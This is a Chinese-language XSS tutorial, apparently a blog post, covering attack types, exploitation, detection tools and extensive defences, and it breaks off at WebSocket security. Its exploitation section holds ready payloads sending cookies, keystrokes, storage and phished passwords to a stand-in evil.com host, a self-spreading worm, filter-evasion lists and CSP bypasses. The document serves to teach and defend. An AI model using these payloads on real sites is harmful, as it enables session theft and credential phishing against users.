XSS漏洞完全指南

我将从原理、分类、利用到防御全面讲解XSS(跨站脚本攻击)漏洞。

一、XSS基本原理

什么是XSS?

XSS(Cross-Site Scripting)是一种代码注入攻击,攻击者通过在目标网站注入恶意脚本代码(通常是JavaScript),当其他用户浏览该页面时,恶意代码会在受害者浏览器中执行。

为什么叫XSS而不是CSS?

为了与层叠样式表(Cascading Style Sheets, CSS)区分,使用XSS作为缩写。

核心原理

应用程序接收用户输入,并在未经充分验证或转义的情况下,将其直接输出到HTML页面中,导致浏览器将用户输入当作代码执行。

脆弱代码示例:

1
2
3
4
5
<?php
// 危险:直接输出用户输入
$username = $_GET['name'];
echo "欢迎, " . $username;
?>

正常访问:

1
2
https://example.com/welcome.php?name=张三
输出:欢迎, 张三

恶意攻击:

1
2
3
https://example.com/welcome.php?name=<script>alert('XSS')</script>
输出:欢迎, <script>alert('XSS')</script>
浏览器执行:弹出警告框

二、XSS类型详解

1. 反射型XSS(Reflected XSS)

特点:

  • 非持久化攻击
  • 恶意代码通过URL参数、表单提交等方式传递
  • 需要诱骗用户点击特制链接
  • 最常见的XSS类型

攻击流程:

1
2
3
4
1. 攻击者构造恶意URL
2. 诱骗受害者点击
3. 服务器返回包含恶意脚本的响应
4. 浏览器执行恶意脚本

示例场景:搜索功能

1
2
3
4
5
<?php
// 脆弱代码
$search = $_GET['q'];
echo "搜索结果: " . $search;
?>

攻击payload:

1
2
https://example.com/search.php?q=<script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>

2. 存储型XSS(Stored XSS)

特点:

  • 持久化攻击,最危险的XSS类型
  • 恶意代码存储在服务器数据库中
  • 每次用户访问包含恶意代码的页面都会触发
  • 影响范围广,危害大

攻击流程:

1
2
3
4
5
1. 攻击者提交恶意内容到服务器
2. 服务器存储到数据库
3. 其他用户访问该页面
4. 服务器从数据库读取并显示恶意内容
5. 所有访问用户的浏览器都执行恶意脚本

示例场景:留言板

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// 脆弱代码
$comment = $_POST['comment'];
// 存储到数据库
mysqli_query($conn, "INSERT INTO comments (content) VALUES ('$comment')");

// 显示评论
$result = mysqli_query($conn, "SELECT content FROM comments");
while($row = mysqli_fetch_assoc($result)) {
echo "<div>" . $row['content'] . "</div>";
}
?>

攻击payload:

1
2
3
4
5
<script>
var img = new Image();
img.src = 'http://evil.com/log.php?cookie=' + document.cookie;
</script>

3. DOM型XSS(DOM-based XSS)

特点:

  • 完全在客户端发生
  • 不经过服务器处理
  • 通过修改DOM环境触发
  • 难以被传统WAF检测

攻击流程:

1
2
3
4
1. 恶意payload在URL中
2. 客户端JavaScript读取URL
3. 直接将内容插入DOM
4. 浏览器执行恶意代码

示例场景:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<body>
<div id="content"></div>
<script>
// 脆弱代码
var name = window.location.hash.substring(1);
document.getElementById('content').innerHTML = "欢迎, " + name;
</script>
</body>
</html>

攻击URL:

1
https://example.com/page.html#<img src=x onerror=alert('XSS')>

4. 突变型XSS(mXSS)

特点:

  • 利用浏览器解析差异
  • 经过HTML净化器后仍能触发
  • 非常罕见但危险

示例:

1
2
3
4
5
6
7
<!-- 输入 -->
<noscript><p title="</noscript><img src=x onerror=alert('XSS')>">

<!-- 某些浏览器解析后 -->
<noscript><p title="</noscript>
<img src=x onerror=alert('XSS')>
">

三、XSS利用技巧

基础Payload

1. 基本弹窗测试

1
2
3
4
<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

2. 事件处理器

1
2
3
4
5
6
7
8
9
10
11
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<select onfocus=alert('XSS') autofocus>
<textarea onfocus=alert('XSS') autofocus>
<iframe onload=alert('XSS')>
<svg onload=alert('XSS')>
<video><source onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>

3. 标签注入

1
2
3
4
5
6
<img src="javascript:alert('XSS')">
<iframe src="javascript:alert('XSS')">
<object data="javascript:alert('XSS')">
<embed src="javascript:alert('XSS')">
<a href="javascript:alert('XSS')">Click</a>

绕过技巧

1. 大小写混淆

1
2
<ScRiPt>alert('XSS')</sCrIpT>
<IMG SRC=x OnErRoR=alert('XSS')>

2. 编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- HTML实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">

<!-- URL编码 -->
<img src=x onerror="%61%6c%65%72%74%28%27%58%53%53%27%29">

<!-- Unicode编码 -->
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
<!-- Base64 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

<!-- Hex编码 -->
<img src=x onerror="eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')">

3. 空格和引号绕过

1
2
3
4
5
6
7
8
9
10
11
12
<!-- 使用反引号 -->
<img src=x onerror=`alert('XSS')`>

<!-- 去除空格 -->
<img/src=x/onerror=alert('XSS')>

<!-- 使用换行 -->
<img src=x onerror="alert
('XSS')">

<!-- 使用Tab -->
<img src=x onerror=alert('XSS')>

4. 标签闭合绕过

1
2
3
4
5
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
</textarea><script>alert('XSS')</script>
</title><script>alert('XSS')</script>

5. 过滤关键字绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 拆分关键字 -->
<script>eval('al'+'ert("XSS")')</script>
<!-- 使用注释 -->
<script>al<!---->ert('XSS')</script>
<!-- 使用其他函数 -->
<script>prompt('XSS')</script>
<script>confirm('XSS')</script>
<script>eval('alert("XSS")')</script>
<script>Function('alert("XSS")')();</script>
<!-- 使用throw -->
<script>throw/XSS/.source</script>
<!-- 使用模板字符串 -->
<script>eval(`alert\x28'XSS'\x29`)</script>

6. 长度限制绕过

1
2
3
4
5
6
7
<!-- 使用短域名 -->
<script src=//xss.ht></script>
<!-- 使用自闭合标签 -->
<svg/onload=alert(1)>

<!-- 利用已有代码 -->
<script>eval(name)</script> <!-- 然后设置window.name -->

高级利用技术

1. Cookie窃取

1
2
3
4
5
6
7
<script>
document.location='http://evil.com/steal.php?c='+document.cookie;
</script>
<script>
new Image().src='http://evil.com/log.php?c='+encodeURIComponent(document.cookie);
</script>

2. 键盘记录

1
2
3
4
5
6
7
<script>
document.onkeypress = function(e) {
var key = e.key || String.fromCharCode(e.keyCode);
new Image().src = 'http://evil.com/log.php?key=' + key;
};
</script>

3. 钓鱼攻击

1
2
3
4
<script>
document.body.innerHTML = '<h1>会话过期</h1><form action="http://evil.com/phish.php" method="post">用户名: <input name="user"><br>密码: <input type="password" name="pass"><br><input type="submit" value="重新登录"></form>';
</script>

4. 会话劫持

1
2
3
4
5
6
7
8
9
10
11
<script>
fetch('http://evil.com/capture', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
localStorage: localStorage,
sessionStorage: sessionStorage
})
});
</script>

5. 网页篡改

1
2
3
4
<script>
document.body.innerHTML = '<h1>网站已被黑客控制!</h1>';
</script>

6. 蠕虫传播(存储型XSS)

1
2
3
4
5
6
7
8
9
<script>
// 自动将payload发布到留言板
var payload = '<script src="http://evil.com/worm.js"><\/script>';
fetch('/api/comment', {
method: 'POST',
body: JSON.stringify({content: payload})
});
</script>

7. AJAX劫持

1
2
3
4
5
6
7
8
9
<script>
// 拦截所有AJAX请求
var originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
new Image().src = 'http://evil.com/log.php?url=' + encodeURIComponent(url);
return originalOpen.apply(this, arguments);
};
</script>

8. 浏览器漏洞利用

1
2
<script src="http://evil.com/browser-exploit.js"></script>

CSP绕过技术

1. 利用JSONP端点

1
2
<script src="https://trusted-site.com/jsonp?callback=alert"></script>

2. 利用AngularJS

1
2
3
{{constructor.constructor('alert(1)')()}}
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

3. Base URI绕过

1
2
<base href="http://evil.com/">
<script src="safe.js"></script> <!-- 实际加载 http://evil.com/safe.js -->

四、检测XSS漏洞

手工测试流程

1. 识别输入点

  • URL参数
  • 表单字段
  • HTTP头(Referer, User-Agent等)
  • Cookie
  • WebSocket消息

2. 测试基本payload

1
2
3
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

3. 观察输出

  • 检查HTML源码
  • 查看是否被转义
  • 确认上下文(标签内、属性内、JavaScript内等)

4. 构造上下文适配的payload

在HTML标签中:

1
2
3
输入: test
输出: <div>test</div>
Payload: <img src=x onerror=alert(1)>

在标签属性中:

1
2
3
4
输入: test
输出: <input value="test">
Payload: " onfocus=alert(1) autofocus="
结果: <input value="" onfocus=alert(1) autofocus="">

在JavaScript中:

1
2
3
4
5
输入: test
输出: <script>var name = 'test';</script>
Payload: '; alert(1); //
结果: <script>var name = ''; alert(1); //';</script>

在事件处理器中:

1
2
3
输入: test
输出: <div onclick="goto('test')">
Payload: '); alert(1); //

自动化工具

1. XSStrike

1
python xsstrike.py -u "http://example.com/search?q=test"

2. Burp Suite

  • 使用Intruder进行Fuzzing
  • XSS Validator插件

3. OWASP ZAP

  • 主动扫描
  • Fuzzer功能

4. XSSer

1
xsser --url "http://example.com/search?q=XSS" --auto

5. Dalfox

1
dalfox url http://example.com/search?q=FUZZ

五、XSS防御方法

1. 输出编码(最重要)

HTML上下文编码

1
2
3
4
5
import html

# Python
safe_output = html.escape(user_input)
# 将 < > & " ' 转换为 &lt; &gt; &amp; &quot; &#x27;
1
2
3
4
5
6
7
8
9
10
11
12
// JavaScript
function escapeHtml(text) {
const map = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
"/": '&#x2F;'
};
return text.replace(/[&<>"'\/]/g, m => map[m]);
}
1
2
// PHP
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
1
2
3
// Java
import org.apache.commons.text.StringEscapeUtils;
String safe = StringEscapeUtils.escapeHtml4(userInput);

JavaScript上下文编码

1
2
3
4
5
6
7
8
9
10
11
12
// 在<script>标签中使用
function escapeJs(text) {
return text.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
}

// 使用JSON.stringify
var safeData = JSON.stringify(userInput);

URL编码

1
var safeUrl = encodeURIComponent(userInput);

CSS编码

1
2
3
4
5
function escapeCss(text) {
return text.replace(/[^a-zA-Z0-9]/g, function(match) {
return '\\' + match.charCodeAt(0).toString(16) + ' ';
});
}

2. 上下文感知的输出

根据不同位置使用不同编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- HTML Body -->
<div>{{htmlEncode(userInput)}}</div>
<!-- HTML属性 -->
<input value="{{htmlAttributeEncode(userInput)}}">

<!-- JavaScript -->
<script>
var data = '{{jsEncode(userInput)}}';
</script>
<!-- URL -->
<a href="{{urlEncode(userInput)}}">Link</a>
<!-- CSS -->
<style>
.user-color { color: {{cssEncode(userInput)}}; }
</style>

3. 输入验证

白名单验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
import re

def validate_username(username):
# 只允许字母、数字、下划线
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("无效的用户名")
return username

def validate_email(email):
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(pattern, email):
raise ValueError("无效的邮箱")
return email

类型验证:

1
2
3
4
5
6
7
function validateAge(age) {
const numAge = parseInt(age, 10);
if (isNaN(numAge) || numAge < 0 || numAge > 150) {
throw new Error('无效的年龄');
}
return numAge;
}

4. 内容安全策略(CSP)

HTTP头配置:

1
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';

详细CSP指令:

1
2
3
4
5
6
7
8
9
10
11
# 基础策略
default-src 'self'; # 默认只允许同源
script-src 'self' 'nonce-{random}'; # 脚本源 + nonce
style-src 'self' 'unsafe-inline'; # 样式源
img-src 'self' data: https:; # 图片源
font-src 'self' https://fonts.gstatic.com; # 字体源
connect-src 'self' https://api.example.com; # AJAX/WebSocket源
frame-ancestors 'none'; # 防止被iframe
base-uri 'self'; # 限制<base>标签
form-action 'self'; # 表单提交目标
upgrade-insecure-requests; # 升级HTTP到HTTPS

使用nonce:

1
2
3
4
5
6
7
8
9
10
<!-- 服务器生成随机nonce -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-r4nd0m123'">

<!-- 只有带正确nonce的脚本才能执行 -->
<script nonce="r4nd0m123">
// 安全脚本
</script>
<!-- 攻击者注入的脚本无nonce,不会执行 -->
<script>alert('XSS')</script> <!-- 被CSP阻止 -->

报告模式(测试CSP):

1
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
1
2
# Python Flask
response.set_cookie('session', value, httponly=True, secure=True, samesite='Strict')
1
2
3
4
5
6
// PHP
setcookie("session", $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
1
2
3
4
5
6
// Node.js Express
res.cookie('session', value, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});

6. 使用安全的前端框架

React(自动转义):

1
2
3
4
5
6
7
8
9
// 安全:自动转义
function Welcome(props) {
return <div>{props.name}</div>;
}

// 危险:需要明确使用dangerouslySetInnerHTML
function DangerousComponent(props) {
return <div dangerouslySetInnerHTML={{__html: props.html}} />;
}

Vue.js(自动转义):

1
2
3
4
5
<!-- 安全:自动转义 -->
<div>{{ userInput }}</div>
<!-- 危险:v-html -->
<div v-html="userInput"></div>

Angular(自动转义):

1
2
3
4
5
<!-- 安全 -->
<div>{{userInput}}</div>
<!-- 危险:使用DomSanitizer bypass -->
<div [innerHTML]="sanitizer.bypassSecurityTrustHtml(userInput)"></div>

7. DOM操作安全

安全方式:

1
2
3
4
5
6
7
8
9
10
// 使用textContent而不是innerHTML
element.textContent = userInput; // 安全

// 使用createElement
var div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);

// 使用setAttribute(大多数情况安全)
element.setAttribute('data-value', userInput);

危险方式(避免):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 危险:innerHTML
element.innerHTML = userInput;

// 危险:document.write
document.write(userInput);

// 危险:eval
eval(userInput);

// 危险:Function构造器
new Function(userInput)();

// 危险:setTimeout/setInterval with string
setTimeout(userInput, 1000);

8. 模板引擎安全配置

Jinja2(Python):

1
2
3
4
5
6
7
8
9
from jinja2 import Environment, select_autoescape

env = Environment(
autoescape=select_autoescape(['html', 'xml'])
)

# 在模板中
{{ user_input }} {# 自动转义 #}
{{ user_input | safe }} {# 危险:不转义 #}

Thymeleaf(Java):

1
2
3
4
5
<!-- 自动转义 -->
<div th:text="${userInput}"></div>
<!-- 危险:不转义 -->
<div th:utext="${userInput}"></div>

EJS(Node.js):

1
2
3
4
5
<!-- 自动转义 -->
<%= userInput %>

<!-- 危险:不转义 -->
<%- userInput %>

9. 富文本处理

使用DOMPurify:

1
2
3
4
5
6
7
8
9
10
11
import DOMPurify from 'dompurify';

// 净化HTML
var clean = DOMPurify.sanitize(dirtyHtml);

// 自定义配置
var clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
});

服务端净化(Python):

1
2
3
4
5
6
7
8
9
10
11
from bleach import clean

allowed_tags = ['p', 'br', 'strong', 'em', 'a']
allowed_attrs = {'a': ['href', 'title']}

clean_html = clean(
user_input,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True
)

10. X-XSS-Protection头

1
X-XSS-Protection: 1; mode=block

注意:现代浏览器更推荐使用CSP,该头已逐渐被弃用。

11. 安全开发实践

代码审查清单:

✅ 所有用户输入都经过编码/转义
✅ 根据输出上下文使用正确的编码方式
✅ 永不使用innerHTMLevaldocument.write处理用户输入
✅ 配置CSP策略
✅ Cookie设置HttpOnly和Secure标志
✅ 使用现代框架的内置保护
✅ 富文本编辑器使用白名单过滤
✅ 定期安全扫描和渗透测试
✅ 对开发团队进行安全培训
✅ 使用安全的第三方库并及时更新

12. 纵深防御策略

1
2
3
4
5
6
7
8
9
输入层:验证和过滤

处理层:使用安全API

输出层:上下文感知编码

浏览器层:CSP、HttpOnly、SameSite

监控层:WAF、日志分析、异常检测

六、实战防御代码示例

完整的安全输出函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
class XSSProtection {
// HTML上下文
static escapeHtml(str) {
const map = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&quot;',
"'": '&#x27;',
'/': '&#x2F;'
};
return String(str).replace(/[&<>"'/]/g, s => map[s]);
}

// JavaScript上下文
static escapeJs(str) {
return String(str)
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\x08/g, '\\b')
.replace(/\f/g, '\\f');
}

// URL上下文
static escapeUrl(str) {
return encodeURIComponent(str);
}

// CSS上下文
static escapeCss(str) {
return String(str).replace(/[^a-zA-Z0-9]/g, match => {
return '\\' + match.charCodeAt(0).toString(16).padStart(6, '0');
});
}

// 安全的DOM操作
static safeSetText(element, text) {
element.textContent = text;
}

static safeSetHtml(element, html) {
// 使用DOMPurify净化
element.innerHTML = DOMPurify.sanitize(html);
}
}

// 使用示例
const userInput = '<script>alert("XSS")</script>';

// HTML中显示
document.getElementById('output').textContent = userInput;
// 或
document.getElementById('output').innerHTML = XSSProtection.escapeHtml(userInput);

// JavaScript中使用
const jsCode = `var name = '${XSSProtection.escapeJs(userInput)}';`;

// URL中使用
const url = `https://example.com/search?q=${XSSProtection.escapeUrl(userInput)}`;

Express.js完整示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express');
const helmet = require('helmet');
const DOMPurify = require('isomorphic-dompurify');
const validator = require('validator');

const app = express();

// 安全头
app.use(helmet());

// CSP配置
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
}));

// 输入验证中间件
function validateInput(req, res, next) {
const { username, email, comment } = req.body;

if (username && !validator.isAlphanumeric(username)) {
return res.status(400).json({ error: '用户名格式无效' });
}

if (email && !validator.isEmail(email)) {
return res.status(400).json({ error: '邮箱格式无效' });
}

if (comment && comment.length > 1000) {
return res.status(400).json({ error: '评论过长' });
}

next();
}

// 安全的输出辅助函数
app.locals.escapeHtml = function(text) {
return validator.escape(text);
};

// 路由示例
app.post('/comment', validateInput, (req, res) => {
let { comment } = req.body;

// 净化HTML
comment = DOMPurify.sanitize(comment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: []
});

// 存储到数据库(使用参数化查询)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    // 存储到数据库(使用参数化查询)
db.query(
'INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())',
[req.session.userId, comment],
(err, result) => {
if (err) {
console.error('数据库错误:', err);
return res.status(500).json({ error: '服务器错误' });
}

res.json({
success: true,
message: '评论发布成功',
commentId: result.insertId
});
}
);
});

// 显示评论(安全渲染)
app.get('/comments', (req, res) => {
db.query('SELECT * FROM comments ORDER BY created_at DESC', (err, results) => {
if (err) {
return res.status(500).json({ error: '服务器错误' });
}

// 在模板中会自动转义
res.render('comments', { comments: results });
});
});

// Cookie安全配置
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true, // HTTPS环境
sameSite: 'strict',
maxAge: 3600000
}
}));

app.listen(3000);

React完整防御示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import React, { useState, useEffect } from 'react';
import DOMPurify from 'dompurify';

// 安全的评论组件
function CommentList() {
const [comments, setComments] = useState([]);
const [newComment, setNewComment] = useState('');
const [error, setError] = useState('');

// 输入验证
const validateComment = (text) => {
if (!text || text.trim().length === 0) {
return '评论不能为空';
}
if (text.length > 1000) {
return '评论不能超过1000字符';
}
// 检测潜在的XSS模式
const dangerousPatterns = [
/<script/i,
/javascript:/i,
/on\w+=/i,
/<iframe/i
];

for (let pattern of dangerousPatterns) {
if (pattern.test(text)) {
return '评论包含不允许的内容';
}
}

return null;
};

// 提交评论
const handleSubmit = async (e) => {
e.preventDefault();

// 前端验证
const validationError = validateComment(newComment);
if (validationError) {
setError(validationError);
return;
}

try {
const response = await fetch('/api/comments', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken() // CSRF保护
},
body: JSON.stringify({
comment: newComment
})
});

if (!response.ok) {
throw new Error('提交失败');
}

const result = await response.json();

// 更新评论列表
setComments([result.comment, ...comments]);
setNewComment('');
setError('');
} catch (err) {
setError('发布评论失败,请重试');
}
};

// 加载评论
useEffect(() => {
fetch('/api/comments')
.then(res => res.json())
.then(data => setComments(data))
.catch(err => console.error('加载评论失败:', err));
}, []);

return (
<div className="comment-section">
<h2>评论区</h2>

{/* 评论表单 */}
<form onSubmit={handleSubmit}>
<textarea
value={newComment}
onChange={(e) => setNewComment(e.target.value)}
placeholder="写下你的评论..."
maxLength={1000}
/>
{error && <div className="error">{error}</div>}
<button type="submit">发布评论</button>
</form>
{/* 评论列表 */}
<div className="comments">
{comments.map(comment => (
<Comment key={comment.id} data={comment} />
))}
</div>
</div>
);
}

// 单个评论组件
function Comment({ data }) {
// React自动转义,这是安全的
return (
<div className="comment">
<div className="author">{data.username}</div>
<div className="content">{data.content}</div>
<div className="time">{formatTime(data.created_at)}</div>
</div>
);
}

// 如果需要渲染富文本(谨慎使用)
function RichComment({ data }) {
// 使用DOMPurify净化HTML
const sanitizedContent = DOMPurify.sanitize(data.richContent, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: []
});

return (
<div className="comment">
<div className="author">{data.username}</div>
{/* 只在必要时使用dangerouslySetInnerHTML,且必须先净化 */}
<div
className="content"
dangerouslySetInnerHTML={{ __html: sanitizedContent }}
/>
</div>
);
}

// 获取CSRF Token
function getCsrfToken() {
return document.querySelector('meta[name="csrf-token"]')?.content;
}

function formatTime(timestamp) {
return new Date(timestamp).toLocaleString('zh-CN');
}

export default CommentList;

Django完整防御示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# settings.py
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
# ... 其他中间件
]

# 安全配置
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'

# CSP配置
CSP_DEFAULT_SRC = ("'self'",)
CSP_SCRIPT_SRC = ("'self'", "'nonce-{random}'")
CSP_STYLE_SRC = ("'self'", "'unsafe-inline'")
CSP_IMG_SRC = ("'self'", "data:", "https:")

# Session安全
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True # HTTPS环境
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True

# views.py
from django.shortcuts import render
from django.http import JsonResponse
from django.views.decorators.csrf import csrf_protect
from django.utils.html import escape, strip_tags
import bleach
import re

# 输入验证装饰器
def validate_input(max_length=1000):
def decorator(view_func):
def wrapper(request, *args, **kwargs):
if request.method == 'POST':
content = request.POST.get('content', '')

# 长度验证
if len(content) > max_length:
return JsonResponse({
'error': f'内容不能超过{max_length}字符'
}, status=400)

# 基本XSS模式检测
dangerous_patterns = [
r'<script',
r'javascript:',
r'on\w+\s*=',
r'<iframe'
]

for pattern in dangerous_patterns:
if re.search(pattern, content, re.IGNORECASE):
return JsonResponse({
'error': '内容包含不允许的字符'
}, status=400)

return view_func(request, *args, **kwargs)
return wrapper
return decorator

# 评论视图
@csrf_protect
@validate_input(max_length=1000)
def create_comment(request):
if request.method == 'POST':
content = request.POST.get('content', '')

# 净化HTML(如果允许富文本)
allowed_tags = ['b', 'i', 'em', 'strong', 'p', 'br']
allowed_attrs = {}

clean_content = bleach.clean(
content,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True
)

# 或者完全移除HTML标签
# clean_content = strip_tags(content)

# 保存到数据库(Django ORM自动防止SQL注入)
comment = Comment.objects.create(
user=request.user,
content=clean_content
)

return JsonResponse({
'success': True,
'comment': {
'id': comment.id,
'username': escape(comment.user.username),
'content': escape(comment.content),
'created_at': comment.created_at.isoformat()
}
})

return JsonResponse({'error': '无效的请求'}, status=400)

# 显示评论
def view_comments(request):
comments = Comment.objects.all().order_by('-created_at')

# Django模板会自动转义
return render(request, 'comments.html', {
'comments': comments
})

# models.py
from django.db import models
from django.contrib.auth.models import User

class Comment(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
content = models.TextField(max_length=1000)
created_at = models.DateTimeField(auto_now_add=True)

class Meta:
ordering = ['-created_at']
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<!-- templates/comments.html -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="csrf-token" content="{{ csrf_token }}">

<!-- CSP通过Django中间件设置 -->

<title>评论区</title>
</head>
<body>
<div class="comments-section">
<h2>评论区</h2>

<form id="comment-form" method="post" action="{% url 'create_comment' %}">
{% csrf_token %}
<textarea
name="content"
maxlength="1000"
required
placeholder="写下你的评论...">
</textarea>
<button type="submit">发布评论</button>
</form>
<div class="comments-list">
{% for comment in comments %}
<div class="comment">
<!-- Django自动转义,这是安全的 -->
<div class="author">{{ comment.user.username }}</div>
<div class="content">{{ comment.content }}</div>
<div class="time">{{ comment.created_at|date:"Y-m-d H:i" }}</div>
</div>
{% endfor %}
</div>
</div>
<script nonce="{{ csp_nonce }}">
// 安全的JavaScript代码
document.getElementById('comment-form').addEventListener('submit', function(e) {
e.preventDefault();

const formData = new FormData(this);

fetch(this.action, {
method: 'POST',
body: formData,
headers: {
'X-CSRFToken': document.querySelector('[name=csrfmiddlewaretoken]').value
}
})
.then(response => response.json())
.then(data => {
if (data.success) {
// 使用textContent安全地显示内容
const commentDiv = document.createElement('div');
commentDiv.className = 'comment';

const author = document.createElement('div');
author.className = 'author';
author.textContent = data.comment.username;

const content = document.createElement('div');
content.className = 'content';
content.textContent = data.comment.content;

commentDiv.appendChild(author);
commentDiv.appendChild(content);

document.querySelector('.comments-list').prepend(commentDiv);

// 清空表单
this.reset();
}
})
.catch(error => {
console.error('Error:', error);
alert('发布评论失败,请重试');
});
});
</script>
</body>
</html>

七、特殊场景防御

1. JSON API安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 后端返回JSON时设置正确的Content-Type
app.get('/api/user', (req, res) => {
res.setHeader('Content-Type', 'application/json');
res.setHeader('X-Content-Type-Options', 'nosniff');

const user = {
id: 123,
username: escapeHtml(userData.username),
email: escapeHtml(userData.email)
};

res.json(user);
});

// 前端安全解析JSON
fetch('/api/user')
.then(response => {
// 确保是JSON响应
const contentType = response.headers.get('content-type');
if (!contentType || !contentType.includes('application/json')) {
throw new TypeError('响应不是JSON格式');
}
return response.json();
})
.then(data => {
// 使用textContent安全显示
document.getElementById('username').textContent = data.username;
});

2. WebSocket安全

1
2
3
4
5
6
